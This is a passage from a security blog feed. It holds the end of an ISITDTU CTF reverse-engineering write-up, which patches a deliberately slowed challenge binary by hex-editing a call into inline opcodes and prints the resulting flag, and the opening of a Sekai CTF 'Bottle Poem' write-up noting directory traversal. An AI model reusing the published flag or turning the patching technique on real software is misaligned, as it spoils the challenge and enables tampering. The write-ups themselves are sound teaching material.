&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v26&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_DWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">--&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sub_401110&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v26&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">v22&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v16&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">v16&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_DWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">v16&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">v2&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">7&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">11&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">12&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">13&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v38&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_DWORD&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">--&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sub_401040&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;RESULT: %d&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">v38&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sub_401260&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v38&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">15&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">17&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="mi">18&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">default&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It is easy to observe that only case 1 and case 14 involve calling other functions.&lt;/p>
&lt;p>To be more precise, if the program reaches &lt;strong>case 1&lt;/strong>, the function &lt;strong>sub_401110(v26, v22)&lt;/strong> will be called, and on the other hand, if the program reaches &lt;strong>case 14&lt;/strong>, the function &lt;strong>sub_401260(v38)&lt;/strong> will be called. We will talk more about these two functions in the next parts of this blog.&lt;/p>
&lt;h2 id="reaching-case-14">Reaching case 14&lt;/h2>
&lt;p>As stated earlier, the function &lt;strong>sub_401260(v38)&lt;/strong> will be called if the program reaches &lt;strong>case 14&lt;/strong>, which will be the last part of our code flow.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="kr">__cdecl&lt;/span> &lt;span class="nf">sub_401260&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">v2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [esp+10h] [ebp-224h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="n">Buffer&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [esp+110h] [ebp-124h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">_BYTE&lt;/span> &lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [esp+111h] [ebp-123h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// [esp+210h] [ebp-24h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">qmemcpy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Áõ&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">77&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">26&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">...&lt;/span> &lt;span class="n">snip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">66&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">29&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">63&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">memset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v2&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sub_401D50&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">Buffer&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sub_401160&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">v2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">Buffer&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">v4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">strlen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">Buffer&lt;/span>&lt;span class="p">)]&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">v4&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">sub_401040&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;flag is: %s&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">v2&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The function receives our modified variable &lt;strong>Block&lt;/strong>, then uses it to produce our flag.&lt;/p>
&lt;h2 id="reaching-case-1">Reaching case 1&lt;/h2>
&lt;p>Here is where things get interesting. Take a look at the function &lt;strong>sub_401110(v26, v22)&lt;/strong>, we can conclude that this is why our program runs slowly. The fact that it makes our program sleeps plus it is possibly called many times throughout the process makes our executable runs without any output for a very long time.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="kr">__cdecl&lt;/span> &lt;span class="nf">sub_401110&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">a2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">v3&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// [esp+0h] [ebp-4h]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sub_4010F0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a2&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">sub_4010F0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">v3&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The algorithm here is very simple, however this is author&amp;rsquo;s idea to let the program sleeps for a total of &lt;strong>(a1 + a2) seconds&lt;/strong> each time this function is called. The intended result of this function is to &lt;strong>return a1 + a2&lt;/strong>. We will have to patch the binary to get our flag.&lt;/p>
&lt;h2 id="patch-the-binary">Patch the binary&lt;/h2>
&lt;p>So we know what makes our program runs slowly, it is time to fix that. Below is the decompiled assembly code of that part.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">mov ecx, [ebp+arg_0]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov edx, [ecx+10h]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sub edx, 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov eax, [ebp+arg_0]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov [eax+10h], edx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov ecx, [ebp+var_10]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">push ecx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov edx, [ebp+var_C]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">push edx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">call sub_401110
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">add esp, 8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov [ebp+var_58], eax
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mov eax, [ebp+arg_0]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Instead of calling &lt;strong>sub_401110&lt;/strong>, we should patch the program to directly calculates &lt;strong>ecx + edx&lt;/strong> then assigns it into &lt;strong>eax&lt;/strong>. We find out that the opcode of &lt;strong>call sub_401110&lt;/strong> is &lt;strong>E8 77 FC FF FF&lt;/strong>.&lt;/p>
&lt;p>Using &lt;strong>IDA Pro&lt;/strong> integrated settings, which can be found at &lt;strong>Options &amp;gt; Generals &amp;gt; Number of Opcode bytes (non-graph) set to a large enough number&lt;/strong>, we can view each instruction&amp;rsquo;s opcode.&lt;/p>
&lt;p>With &lt;a href="https://github.com/Gallopsled/pwntools" target="_blank" rel="noopener">pwntools&lt;/a> library, we also find out the opcode for &lt;strong>add ecx, edx&lt;/strong> and &lt;strong>move eax, ecx&lt;/strong> is &lt;strong>01 D1&lt;/strong> and &lt;strong>89 C8&lt;/strong> using this script written in &lt;strong>Python&lt;/strong> below.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">context&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">arch&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;amd64&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">asm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;add ecx, edx&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">asm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;mov eax, ecx&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It is now time to patch the binary. Use any hex editor of your choice to patch the binary, here I use &lt;strong>IDA Pro&lt;/strong>&amp;rsquo;s integrated &lt;strong>hex view&lt;/strong> to patch the binary.&lt;/p>
&lt;p>Change &lt;strong>E8 77 FC FF FF&lt;/strong> to &lt;strong>01 D1 89 C8 90&lt;/strong> using any hex editor of your choice (here &lt;strong>90&lt;/strong> corresponds to the &lt;strong>NOP&lt;/strong> instruction).&lt;/p>
&lt;h2 id="result">Result&lt;/h2>
&lt;p>After patching the binary, run it again to get our flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">fazect@LAPTOP-CQA118DI:/mnt/d/Downloads$ ./slow.exe
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RESULT: 75025
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">flag is: Pr4ct1c3_VMc0d3_w1th_F1b0n4cc1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Wrap the flag with &lt;strong>ISITDTU{}&lt;/strong>, we have our flag for the challenge: &lt;strong>ISITDTU{Pr4ct1c3_VMc0d3_w1th_F1b0n4cc1}&lt;/strong>.&lt;/p></description></item><item><title>Sekai CTF 2022 Bottle Poem</title><link>https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/</link><pubDate>Thu, 12 Jan 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/web-exploitation/">web-exploitation&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#problem-statement">Problem statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#basic">Basic&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#python-bottle">Python Bottle&lt;/a>&lt;/li>
&lt;li>&lt;a href="#pickle-exploit">Pickle exploit&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#the-exercise-step">The exercise step&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#generate-cookie">Generate cookie&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#reference-links">Reference Links&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="problem-statement">Problem statement&lt;/h2>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/problem-statement_hubb36c6575665dd7b50435e435f1d00fd_110442_de0933345ff48706e72d6633394a151d.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/problem-statement_hubb36c6575665dd7b50435e435f1d00fd_110442_7131321e7bf6b8c16621baf1a49efe29.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/problem-statement_hubb36c6575665dd7b50435e435f1d00fd_110442_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/problem-statement_hubb36c6575665dd7b50435e435f1d00fd_110442_de0933345ff48706e72d6633394a151d.webp"
width="760"
height="271"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
Author hints that flag is executable&lt;/p>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/web-home_hucf17ab4f3ef68871da9bf1f003f4e98b_68536_d35b970f4c7e40bbef9f497fd97ea503.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/web-home_hucf17ab4f3ef68871da9bf1f003f4e98b_68536_62f2e3d21f4342543d12a738874ffe49.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/web-home_hucf17ab4f3ef68871da9bf1f003f4e98b_68536_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/web-home_hucf17ab4f3ef68871da9bf1f003f4e98b_68536_d35b970f4c7e40bbef9f497fd97ea503.webp"
width="760"
height="317"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/web-link_hu094cb2da42e10c6ddce99a0c70598a63_121667_11aee3f4d9655067c85a2e690a2a38db.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/web-link_hu094cb2da42e10c6ddce99a0c70598a63_121667_2ccb440a25206cca52182c2d9f0774dd.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/web-link_hu094cb2da42e10c6ddce99a0c70598a63_121667_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/web-link_hu094cb2da42e10c6ddce99a0c70598a63_121667_11aee3f4d9655067c85a2e690a2a38db.webp"
width="760"
height="317"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>The website is vulnerable to directory traversal
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/web-link-directory-traversal_hu806de846b507f5d4b062d7fb880deb41_223805_c928a4fa622f9a7b0e80b8b5dc7d1792.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/web-link-directory-traversal_hu806de846b507f5d4b062d7fb880deb41_223805_f933bbb30fbcc1f951882de73f64b35f.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/web-link-directory-traversal_hu806de846b507f5d4b062d7fb880deb41_223805_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/web-link-directory-traversal_hu806de846b507f5d4b062d7fb880deb41_223805_c928a4fa622f9a7b0e80b8b5dc7d1792.webp"
width="760"
height="317"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
